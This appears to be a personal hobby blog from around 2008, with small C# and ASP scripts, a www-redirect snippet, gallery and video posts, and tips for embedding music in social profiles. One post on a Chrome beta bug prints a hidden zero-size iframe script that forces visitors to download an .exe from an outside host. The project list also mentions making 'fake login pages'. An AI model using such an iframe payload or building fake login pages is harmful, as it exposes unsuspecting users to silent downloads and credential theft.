I present you Screen2Jpeg. My new screenshot application.

Basically what it does is takes screenshots and saves them as .jpeg files instantly. It's a bit like a polaroid camera :)

The default saving directory is "Desktop". You can change it using the "Save to..." button. If I ever make a newer version I'll add keyboard hooking so that the program can work in the background. But I don't see that happening in the near future :)

The magic code that does the work is:

private void screenShot()
  {
  int sWidth = Screen.GetBounds(new Point(0, 0)).Width;
  int sHeight = Screen.GetBounds(new Point(0, 0)).Height;
  Bitmap bmpScreenShot = new Bitmap(sWidth, sHeight);
  Graphics gfx = Graphics.FromImage((Image)bmpScreenShot);
  gfx.CopyFromScreen(0, 0, 0, 0, new Size(sWidth, sHeight));
  bmpScreenShot.Save("\Directory path\" + DateTime.Now.Day.ToString() + DateTime.Now.Month.ToString() + DateTime.Now.Year.ToString() + "-" + DateTime.Now.Hour.ToString() + DateTime.Now.Minute.ToString() + DateTime.Now.Second.ToString() + ".jpg", ImageFormat.Jpeg);
  }
 

You can download the .exe from here and the Visual C# 2008 project from here 

To run the application you need .NET framework 2.0 or higher to be installed on your system.

Last night I wrote a script that gets a random image file from a directory.

Here is the code:

<%
'Declare variables
Dim fs
Dim path
Dim dir
Dim folder
Dim i
Dim max
Dim random
Dim imgArr()

'Set the FSO
set fs = CreateObject("Scripting.FileSystemObject")
dir = "/enter directory path here/" 'this is the directory you want to get images from
path = Server.MapPath(dir)
set folder = fs.GetFolder(path)



i = 0
max = 0

'Count how many image files there are in the target directory
for each f in folder.files
if UCASE(fs.GetExtensionName(f)) = "JPG" or UCASE(fs.GetExtensionName(f)) = "JPEG" or UCASE(fs.GetExtensionName(f)) = "GIF" or UCASE(fs.GetExtensionName(f)) = "PNG" then
max = max + 1
end if
next

'Generate error message if there are no image files
if max = 0 then
response.write("No image files in the target directory")
response.End()
end if

'Gather all image files in an array
Redim imgArr(max)

for each f in folder.files
if UCASE(fs.GetExtensionName(f)) = "JPG" or UCASE(fs.GetExtensionName(f)) = "JPEG" or UCASE(fs.GetExtensionName(f)) = "GIF" or UCASE(fs.GetExtensionName(f)) = "PNG" then
imgArr(i) = f.name
i = i+1
end if
next

'Generate random number
Randomize
random = Int(Rnd * max)

'Get the random image
response.write("<img src=" & dir & imgArr(random) & ">")

%>

Change the "dir" variable and you're all set.

This is a random image selection script in it's simplest form. With a little VBscript knowledge you can set the script to work with query string variables 

I'll assume you have intermediate web knowledge and skip the explanation.

To highlight the keywords from search engine query strings do the folowing:

• Download this file and save it on your host
• Add <script type="text/javascript" src="/jscripts/se_hilite.js"></script> between the head tags in your pages html code
• Add following lines to your .css file
  
  .hilite1 { background-color: green}
  .hilite2 { background-color: yellow}

And you're done. This will highlight the first 2 keywords from a search engine reference. You can increase the number of keywords to highlight. Just add more of the same lines to your .css file incrementing the number after .hilite.

Scripts homepage 

Recently Google announced their new browser called Chrome. It has some really cool features like the code inspector etc...

Since it is in it's beta stage it also has some bugs. The first one discovered so far is url/protocol bug. When you hover or click on a link like something:% Chrome crashes. Some people call it an exploit but I think it's an overstatement since you don't get anything more than an application crashing.

04/09/2008: A new exploit has been found which is poses a big threat to users security. When you place a link to the source of an iframe element Chrome automatically downloads. What this means is you can make your visitors download a file to their computers. This is done using the code below.

<script>

document.write('<iframe src="http://www.gladio.net/dump/testcmd.exe" frameborder="0" width="0" height="0">');

</script>

you can see both bugs in action on this page. The file downloaded is a copy of command prompt so don't panic :)

I would advise you stay away from chrome for now. Looks like it's gona have many more bugs so you might want to check it after v2 or v3... 

When you're dealing with cookies and session they take www.domain.com and domain.com as separate servers. So when you create a cookie or session for domain.com it won't be valid for www.domain.com. To overcome this problem you either redirect www.domain.com to domain.com or do the opposite.

The script below redirects from domain.com to www.domain.com with the querystring if it has one

<%


' Get the server name
sname = lcase(request.servervariables("server_name"))


' Get the first four characters of the server name
www = left(sname,4)

 ' Check if www. exists. If not trigger the redirection code
if www <> "www." then

'Check and set the protocol. It's either http:// or https:// 
protocol = "http://"
https = lcase(request.ServerVariables("HTTPS"))
if https <> "off" then protocol = "https://"

' Get the script name
scrname = request.servervariables("script_name")

' Get the query string
qstring = request.servervariables("query_string")

' Check if there is a querystring, if there is set qmark as "?" 
qmark = ""
if qstring <> "" then qmark = "?"


' Build the URL and redirect
url = protocol & "www." & sname & scrname & qmark & qstring
response.redirect(url)

end if

%>

 

I've finally put some material on the gladio page.

The menu at the top is buggy but I can't be bothered to fix it atm...

(Correction ~ 04/08/2008: I fixed it)

I renewed the adriana lima gallery

This is one of my favourite TV adverts

funny? yes!

stupid? yes!

Before u get in bed with a japanese ask for their medical history
Click here to see why

• Lil' Jon & Lil' Jon
• Lil' Jon in love
• Howard Dean - byaaaahh!

Over 400 pictures of my favourite top model Adriana Lima . I've been lookin for a decent asp picture gallery script for ages but had no luck. Some are too complex, some need special ASP components and the rest is just useless. So I had to mix some ASP, some HTML and some Photoshop Gallery script to get exactly what i wanted. The border around thumbnails appear out of shape in Opera browser but I can't be bothered to fix it. I don't think anyone will mind anyway. And if anyone does I just don't give a f*ck

Enter the gallery

Eurofeb is a supporter group much like Fossa Dei Leoni of AC Milan, Kop of Liverpool. We support Fenerbahce (Turkeys best football club) and we go to FBs all away games in europe (hence the name Eurofeb). What makes Eurofeb special is that the members are scattered all around europe. Now think of another club that has this kind of fans group. Nope, there's no other 
Last month we were in Vigo for the UEFA Cup game of FB against Celta de Vigo. Originally the music of the video was "Paint it black" by Rolling Stones. Youtube said it was against the copyright laws so i had to replace it with another song. The options youtube gives are pathetic so I picked a random song.

VS-FS was not  the same without Tyra Banks but still it was worth watching.

Click here to download as split rar files. These files will be removed in a few days so download as soon as you can.

14/12/08 UPDATE: I removed the files two years later, not after a few days like I said  

My latest work of art  

• Download the first part of the rar file
• Right-click on it and select "Extract files..."
• The winrar window will come up (assuming you use winrar)
• Check "Keep broken files" option on the left hand side and click OK, ignore any error messages
• Now you have extracted the video file, but it's broken so it won't play in Windows Media Player.
• To open this file you need VLC Player which can be downloaded from Videolan website. Although VLC player looks weak compared to WMP it's a very powerful media player (it plays broken files, WMP doesn't!)
• If VLC player asks you if you want to repair the video file just say no
• Now you should be watching the first part of your video

PS: Adriana Lima gallery will be up in a week.

• A moment in the life of Lil Jon
• Another moment in the life of Lil Jon
• Real life GTA (my favourite)
• Clayton Bigsby - The black white supremacist

The reason why i didn't make any updates to the blog is simply because I'm too lazy...
The blog is just a single HTML page so when I want to add something I have to edit the code and upload the page again. Which is too much work for me lol. But now I decided to code an ASP script that will automate the job so this blog will be updated more often. Currently I'm working on these projects;

• ASP script for the blog (done)
• Adriana Lima photo gallery (done)
• An explorer-like java application (abandoned)
• Updated fake login pages (I might add new ones depending on demand so email me if you want something) (abandoned)
  

What to do when you drop your iPod in water:

By the way, Apple gives you product warranty for a year and telephone support for 90 days from the date of purchase. After that you'll have to pay for parts & labour and it costs £35 to get telephone support.

You can play music on your Hi5.com profile page by doing the following steps:

• Login and go to "My Profile"
• Go to "Edit"
• Go to "Lifestyle" or "Interests" (the choice is up to you)
• In any of the textboxes enter the following code
• <img dynsrc="URL of audio file " loop="infinite">
• You can enter http://www.zen15082.zen.co.uk/b/Damn2.mp3 as the URL if you want to play the intro part of Youngbloodz - Damn
• Click on "Save profile" and it's done
• To see this on my Hi5 profile click here

To play music on your MSN Space:

• Login to your MSN Space
• Go to "Blog"
• Enter a title
• On the editor click on "HTML" (it's right next to the smilie icon)
• <DIV></DIV> should appear. (if it doesn't you can enter the code yourself)
• Enter the code in between DIV tags, just like i did below
• <DIV><img dynsrc="URL of audio file " loop="infinite"></DIV>
• Click on "Publish entry" and you're done
• To see this on my MSN Space click here

You can change the loop settings. If you want it to play only once replace "infinite" with "1". Or you can enter another number to play it that many times. I tested this on Internet Explorer and it works. It definitely doesn't work with Opera and probably won't with Firefox. It may work on AvantBrowser as it is based on Internet Explorer. You should know that the audio file is downloaded by the user so it wouldn't be wise to give the URL of a large file. Up to 1MB should be OK. If you can't get it to work email me at ash@gladio.net

This is a must see from his highness Thierry Henry...

Since a lot of people have been asking me about zen15082.zen.co.uk i'll make a brief explanation. Zen is an internet service provider based in Rochdale/UK. They provide web hosting for their ADSL customers and i happen to be one of them. The webspace you get is 1GB and has no bandwidth limitations. It doesn't support server side scripts but still it is really useful. I mean you don't have to take bs from imageshack or rapidshare. I used it to distribute TV series last year. Currently I have some mp3 files uploaded, mainly R&B and hiphop. I might remove them to make space for new files so download what you need while you still can lol. Some common questions and answers:

• Can anyone get it? No, only Zen ADSL cutomers can.
• Can you host my 600mb big file? No.
• Can you host an image file for me? Yes, just email it to me.
• If there is no bw limit why dont you put a movie on it? I did, and Zen suspended my account due to excessive bw usage (320GB in one week lol). They said it was threatening the running of their servers, bah :P.
• How much does it cost? Zens ADSL is slightly more expensive than other ISPs such as Wanadoo or Bulldog. But the quality of the service you get is worth every penny. Plus you get other services like the webspace that you've been reading about lol. Price list is here.